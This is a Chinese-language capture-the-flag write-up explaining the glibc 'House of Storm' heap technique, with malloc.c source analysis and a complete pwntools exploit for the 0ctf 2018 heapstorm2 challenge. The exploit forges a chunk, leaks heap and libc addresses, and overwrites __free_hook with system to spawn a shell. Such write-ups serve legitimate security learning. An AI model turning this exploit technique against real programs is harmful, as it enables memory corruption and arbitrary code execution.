House of storm
说在前面
- 适用范围:
libc2.30以下 - 是一款组合技,利用开启了
PIE的x64程序的堆地址总是0x55xxxx...或者0x56xxxx...开头这一特性,使用一次largebin attack写两个堆地址,使用一次unsortedbin attack写一次libc地址,可以实现任意地址分配。虽然house of storm最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。这种利用技巧和思路还是很值得学习的。
源码分析
以下是libc2.23 malloc.c源码片段,当分配一个堆块时会先从fastbin,smallbin中,若没有合适堆块,依次遍历unsorted bin,对大小不合适的堆块会从unsoredbin移入smallbin或largebin中,参见下述代码。
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
关键代码
......
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
利用手法
变量说明
- 把要从
unsortedbin放入largebin的chunk称作chunk_A,也就是关键代码中的victim fwd是当前largebin链表中第一个大小不大于chunk_A的,下面称为chunk_B
Large bin attack
- 修改
chunk_B->bk=addr1-0x10 - 修改
chunk_B->bk_nextsize=addr2-0x20、
带入上述代码进行计算,最终效果就是
addr1=chunk_Aaddr2=chunk_A
即addr1,addr2都被赋值为chunk_B header地址,是个很大的数,效果类似于unsorted bin attack
House of storm
攻击姿势:
- 假设需要攻击的地址是
fake_chunk=addr-0x20 - 修改
chunk_A->bk=fake_chunk - 修改`chunk_B->bk=fake_chunk-0x18
- 修改`chunk_B->bk_nextsize=fake_chunk-0x20+0x3
此时当我们申请一个0x50的堆块,unsorted bin的那个堆块会被放入large bin中, 达到的效果:
......
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//chunk_A->fd_nextsize=chunk_B;
//chunk_A->bk_nextsize=addr-0x20-0x20+0x3
//addr-0x20-0x20+0x3=chunk_A
//addr-0x20-0x20+0x3+0x20=addr-0x20+0x3 = chunk_B
}
bck = fwd->bk;
//bck=addr-0x18
}
}
......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//addr-0x18=bck;
//chunk_B->fd=chunk_A;
//addr=chunk_A;
//addr-0x18+0x10=addr-0x8=chunk_A;
- unsortedbin attack
addr-0x10被写入main_arena+88(在此攻击手段中用处不大)
- largebin attack
addr-0x8,addr-0x20+0x3被写入chunk_A的地址
最终addr-0x18处被写入了0x55或0x56,相当于伪造了size,申请0x50的堆块即位于addr-0x20处,此时需要访问到fake chunk的bk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large bin的bk的目的。
最后需要说明的是,当开了地址随机化ASLR之后,堆块的地址最高位只可能是0x55或0x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
过上述检测需要满足以下一条即可:
victim为 0 (没有申请到内存)IS_MMAPPED为 1 (是mmap的内存)NON_MAIN_ARENA为 0 (申请到的内存必须在其所分配的arena中)
而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。
值得一提的是,由于addr-0x8被写入了chunk_A地址,因此最终在fake chunk被返还给用户后,unsorted bin中仍有chunk_A地址所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88。
例题
- 题目来源:
buu-0ctf_2018_heapstorm2 libc2.23
代码分析
题目开了全保护,审计代码,有add,edit,show,delete函数,存储chunk 指针和size的数组用一组随机数异或存储,
__int64 my_init()
{
__int64 v0; // rax
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0x13370000, 0x1000u, 3, 34, -1, 0) != (void *)322371584 )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, (void *)0x13370800, 0x18u) != 24 )
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
for ( i = 0; i <= 15; ++i )
{
*(_QWORD *)(16 * (i + 2LL) + 0x13370800) = xor_ptr(0x13370800, 0);
xor_size(0x13370800, 0);
*(_QWORD *)(16 * (i + 2LL) + 0x13370808) = v0;
}
return 0x13370800;
}
以上我们可知,数组地址是绝对地址0x13370800,0x13370818与0x13370810初始值相同
继续审计,发现漏洞在update函数里
strcpy((char *)(size + v6), "HEAPSTORM_II");
off bu null
在view函数里有一个检查
if ( (*(_QWORD *)(a1 + 24) ^ *(_QWORD *)(a1 + 16)) != 322401073 )
return puts("Permission denied");
我们要修改0x13370818与0x13370810这两处的值
利用思路
以下是个逆向的思路
- 可以修改
free_hook为system- 泄露
libc地址view函数泄露- 修改
0x13370818与0x13370810这两处的值
- 修改
- 把
free_hook函数连接到记录chunk的数组中
- 泄露
- 在
0x13370800附近构造一个fake_chunk,即可实现上述目的 - 利用两次
off by null构造unsorted bin attack和large bin attack,构造一个fake_chunk
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def alloc(size):
p.sendlineafter(b'Command: ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
def update(idx, size, contnt):
p.sendlineafter(b'Command: ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', contnt)
def delete(idx):
p.sendlineafter(b'Command: ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
def view(idx):
p.sendlineafter(b'Command: ', b'4')
p.sendlineafter(b'Index: ', str(idx).encode())
while True:
p=process('./0ctf_2018_heapstorm2')
addr = 0x13370800
alloc(0x18)#0
alloc(0x508)#1
alloc(0x18)#2
alloc(0x18)#3
alloc(0x508)#4 0x555555a01570
alloc(0x18)#5
alloc(0x18)#6
update(1,0x4f8,b'a'*0x4f0+p64(0x500))
delete(1)
update(0,0x18-12,b'a'*(0x18-12))
alloc(0x18)#1
alloc(0x4d8)#7
# alloc(0x18)#8
delete(1)
delete(2)
# alloc(0x18)#1
# alloc(0x1000)#2
alloc(0x38) #1
alloc(0x4e8) #2
# #largebin_attack
update(4,0x4f8,b'a'*0x4f0+p64(0x500))
delete(4)
update(3,0x18-12,b'a'*(0x18-12))
alloc(0x18)#4
alloc(0x4d8)#8
# alloc(0x18)#5
delete(4)
delete(5)
alloc(0x48)
delete(2)
alloc(0x4e8)#2
delete(2)
fake_chunk = addr-0x20
pal1 = p64(0) * 2 + p64(0) + p64(0x4f1)
pal1 += p64(0) + p64(fake_chunk)
pal2 = p64(0) * 4 + p64(0) + p64(0x4e1)
pal2 += p64(0) + p64(fake_chunk+0x8)
pal2 += p64(0) + p64(fake_chunk-0x18-5)
update(7, len(pal1), pal1)
update(8, len(pal2), pal2)
try:
alloc(0x48)#2
pal3 = p64(0) * 5 + p64(0x13377331) + p64(addr)
update(2, len(pal3), pal3)
pal4=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
pal4+=p64(0x133707e3)+p64(0x8)
update(0,len(pal4),pal4)
except:
p.close()
continue
view(1)
p.recvuntil(b'Chunk[1]: ')
heap=u64(p.recv(6).ljust(8,b'\x00'))
log.info('heap:'+hex(heap))
pal5=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
pal5+=p64(heap+0x10)+p64(0x8)
update(0,len(pal5),pal5)
view(1)
p.recvuntil(b'Chunk[1]: ')
libc_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78
log.info('libc_addr:'+hex(libc_addr))
free_hook=libc_addr+libc.symbols['__free_hook']
system=libc_addr+libc.symbols['system']
log.info('free_hook:'+hex(free_hook))
log.info('system:'+hex(system))
pal6=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
pal6+=p64(free_hook)+p64(0x8)+p64(heap+0x560+0x10)+p64(0x8)
update(0,len(pal6),pal6)
bin_sh=b'/bin/sh\x00'
update(2,len(bin_sh),bin_sh)
pal7=p64(system)
update(1,len(pal7),pal7)
# pal7=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
# pal7+=p64(free_hook)+p64(0x8)+p64(heap+0x560)+p64(0x4e1)
# update(0,len(pal7),pal7)
delete(2)
# gdb.attach(p)
p.interactive()
break
参考文章
https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_12
https://fu9-dotom.github.io/p/house-of-stormbuu-0ctf_2018_heapstorm2/#利用思路

浙公网安备 33010602011771号